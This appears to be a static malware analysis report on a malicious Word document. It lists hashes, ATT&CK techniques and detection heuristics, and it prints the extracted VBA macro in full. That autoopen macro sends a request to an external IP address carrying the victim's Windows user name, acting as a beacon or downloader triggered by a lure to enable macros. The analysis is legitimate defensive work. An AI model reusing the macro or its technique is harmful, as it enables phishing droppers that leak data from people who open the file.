Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bc6924da581a86fc…

MALICIOUS

Office (OLE)

61.0 KB Created: 2018-05-09 12:25:00 Authoring application: Microsoft Office Word First seen: 2019-01-31
MD5: 7b6969a5dd9cdf7f91d7151cc09386e1 SHA-1: 979b9b5ed8cf04527df927f78d53e5bb8dcd6e23 SHA-256: bc6924da581a86fcd775aa806cc2a36ecf34a453f78aff02ed25402b49886c85
190 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a Microsoft Office document containing a VBA macro that is automatically executed upon opening (autoopen). The macro uses CreateObject to instantiate MSXML2.serverXMLHTTP and attempts to download content from the URL http://84.14.146.74/?user=<USERNAME>. The document body explicitly instructs the user to enable macros, indicating a social engineering lure to bypass security measures. The presence of the autoopen macro and the CreateObject call strongly suggest a downloader or droppper functionality.

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://84.14.146.74/?user=� In document text (OLE body)
    • http://84.14.146.74/?user=In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 514 bytes
SHA-256: 1704b278d0aa98615a7f43a40d1f67b6f76f131ce94c46f2f0912ec3893678fe
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
    Dim xmlhttp As Object
    Set xmlhttp = CreateObject("MSXML2.serverXMLHTTP")
    myurl = "http://84.14.146.74/?user=" & Environ("USERNAME")
    xmlhttp.Open "GET", myurl, False
    xmlhttp.Send
End Sub

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